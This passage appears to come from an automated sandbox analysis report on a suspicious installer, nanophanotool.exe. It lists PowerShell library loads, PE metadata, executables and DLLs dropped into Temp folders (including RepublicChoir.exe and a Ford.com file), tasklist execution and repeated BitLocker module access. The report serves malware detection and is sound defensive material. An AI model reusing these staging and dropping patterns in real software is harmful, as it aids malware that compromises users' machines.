      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Users\user\Desktop\nanophanotool.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
      Source: Window RecorderWindow detected: More than 3 window changes detected
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
      Source: nanophanotool.exeStatic PE information: certificate valid
      Source: nanophanotool.exeStatic file information: File size 64853056 > 1048576
      Source: nanophanotool.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: \??\C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadLine.PDB source: powershell.exe, 00000011.00000002.1989896289.0000023367940000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: Microsoft.Powershell.PSReadline.pdbY source: powershell.exe, 00000011.00000002.1988557006.000002330009A000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: \??\C:\Windows\symbols\dll\Microsoft.Powershell.PSReadline.pdbl3 source: powershell.exe, 00000011.00000002.1990034235.00000233679D6000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: elevate.exe.0.dr
      Source: Binary string: System.Runtime.Serialization.Formatters.Soape.pdb source: powershell.exe, 00000011.00000002.1990159937.00000233679E8000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.1988789292.000002336587D000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: Microsoft.Powershell.PSReadline.pdb37-8B11-F424491E3931}\InprocServer320805 source: powershell.exe, 00000011.00000002.1988789292.000002336587D000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: *e.pdb source: powershell.exe, 00000011.00000002.1989896289.0000023367940000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: hell.PSReadline.pdb+ source: powershell.exe, 00000011.00000002.1990034235.00000233679A9000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: libGLESv2.dll.0.dr
      Source: Binary string: Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 00000011.00000002.1988557006.000002330009A000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbSAuh1 source: powershell.exe, 00000011.00000002.1988474332.000002330003F000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: \??\C:\Windows\symbols\dll\Microsoft.Powershell.PSReadline.pdbl source: powershell.exe, 00000011.00000002.1990034235.00000233679D6000.00000004.00000020.00020000.00000000.sdmp
      Source: vulkan-1.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0xeae56
      Source: libEGL.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x78f27
      Source: libGLESv2.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x750114
      Source: System.dll.0.drStatic PE information: real checksum: 0x0 should be: 0xe5c7
      Source: vk_swiftshader.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x522548
      Source: vk_swiftshader.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x522548
      Source: libGLESv2.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x750114
      Source: elevate.exe.0.drStatic PE information: real checksum: 0x0 should be: 0x225bc
      Source: nsis7z.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x7611e
      Source: vulkan-1.dll.0.drStatic PE information: real checksum: 0x0 should be: 0xeae56
      Source: libEGL.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x78f27
      Source: RepublicChoir.exe.2.drStatic PE information: real checksum: 0x1098e0 should be: 0x1147c1
      Source: ffmpeg.dll0.0.drStatic PE information: real checksum: 0x0 should be: 0x2c6d21
      Source: ffmpeg.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x2c6d21
      Source: ffmpeg.dll.0.drStatic PE information: section name: .00cfg
      Source: ffmpeg.dll.0.drStatic PE information: section name: .gxfg
      Source: ffmpeg.dll.0.drStatic PE information: section name: .retplne
      Source: ffmpeg.dll.0.drStatic PE information: section name: _RDATA
      Source: libEGL.dll.0.drStatic PE information: section name: .00cfg
      Source: libEGL.dll.0.drStatic PE information: section name: .gxfg
      Source: libEGL.dll.0.drStatic PE information: section name: .retplne
      Source: libEGL.dll.0.drStatic PE information: section name: _RDATA
      Source: libGLESv2.dll.0.drStatic PE information: section name: .00cfg
      Source: libGLESv2.dll.0.drStatic PE information: section name: .gxfg
      Source: libGLESv2.dll.0.drStatic PE information: section name: .retplne
      Source: libGLESv2.dll.0.drStatic PE information: section name: _RDATA
      Source: NanoTool.exe.0.drStatic PE information: section name: .00cfg
      Source: NanoTool.exe.0.drStatic PE information: section name: .gxfg
      Source: NanoTool.exe.0.drStatic PE information: section name: .retplne
      Source: NanoTool.exe.0.drStatic PE information: section name: .rodata
      Source: NanoTool.exe.0.drStatic PE information: section name: CPADinfo
      Source: NanoTool.exe.0.drStatic PE information: section name: LZMADEC
      Source: NanoTool.exe.0.drStatic PE information: section name: _RDATA
      Source: NanoTool.exe.0.drStatic PE information: section name: malloc_h
      Source: vk_swiftshader.dll.0.drStatic PE information: section name: .00cfg
      Source: vk_swiftshader.dll.0.drStatic PE information: section name: .gxfg
      Source: vk_swiftshader.dll.0.drStatic PE information: section name: .retplne
      Source: vk_swiftshader.dll.0.drStatic PE information: section name: _RDATA
      Source: vulkan-1.dll.0.drStatic PE information: section name: .00cfg
      Source: vulkan-1.dll.0.drStatic PE information: section name: .gxfg
      Source: vulkan-1.dll.0.drStatic PE information: section name: .retplne
      Source: vulkan-1.dll.0.drStatic PE information: section name: _RDATA
      Source: ffmpeg.dll0.0.drStatic PE information: section name: .00cfg
      Source: ffmpeg.dll0.0.drStatic PE information: section name: .gxfg
      Source: ffmpeg.dll0.0.drStatic PE information: section name: .retplne
      Source: ffmpeg.dll0.0.drStatic PE information: section name: _RDATA
      Source: libEGL.dll0.0.drStatic PE information: section name: .00cfg
      Source: libEGL.dll0.0.drStatic PE information: section name: .gxfg
      Source: libEGL.dll0.0.drStatic PE information: section name: .retplne
      Source: libEGL.dll0.0.drStatic PE information: section name: _RDATA
      Source: libGLESv2.dll0.0.drStatic PE information: section name: .00cfg
      Source: libGLESv2.dll0.0.drStatic PE information: section name: .gxfg
      Source: libGLESv2.dll0.0.drStatic PE information: section name: .retplne
      Source: libGLESv2.dll0.0.drStatic PE information: section name: _RDATA
      Source: NanoTool.exe0.0.drStatic PE information: section name: .00cfg
      Source: NanoTool.exe0.0.drStatic PE information: section name: .gxfg
      Source: NanoTool.exe0.0.drStatic PE information: section name: .retplne
      Source: NanoTool.exe0.0.drStatic PE information: section name: .rodata
      Source: NanoTool.exe0.0.drStatic PE information: section name: CPADinfo
      Source: NanoTool.exe0.0.drStatic PE information: section name: LZMADEC
      Source: NanoTool.exe0.0.drStatic PE information: section name: _RDATA
      Source: NanoTool.exe0.0.drStatic PE information: section name: malloc_h
      Source: vk_swiftshader.dll0.0.drStatic PE information: section name: .00cfg
      Source: vk_swiftshader.dll0.0.drStatic PE information: section name: .gxfg
      Source: vk_swiftshader.dll0.0.drStatic PE information: section name: .retplne
      Source: vk_swiftshader.dll0.0.drStatic PE information: section name: _RDATA
      Source: vulkan-1.dll0.0.drStatic PE information: section name: .00cfg
      Source: vulkan-1.dll0.0.drStatic PE information: section name: .gxfg
      Source: vulkan-1.dll0.0.drStatic PE information: section name: .retplne
      Source: vulkan-1.dll0.0.drStatic PE information: section name: _RDATA

      Persistence and Installation Behavior

      barindex
      Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\254268\Ford.comJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\libEGL.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\vulkan-1.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\ffmpeg.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\nsis7z.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\vk_swiftshader.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\resources\elevate.exeJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\vulkan-1.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile created: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exeJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\d3dcompiler_47.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\NanoTool.exeJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\libGLESv2.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\libGLESv2.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\vk_swiftshader.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\ffmpeg.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\libEGL.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
      Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\254268\Ford.comJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\LICENSE.electron.txtJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\LICENSE.electron.txtJump to behavior

      Hooking and other Techniques for Hiding and Protection

      barindex
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
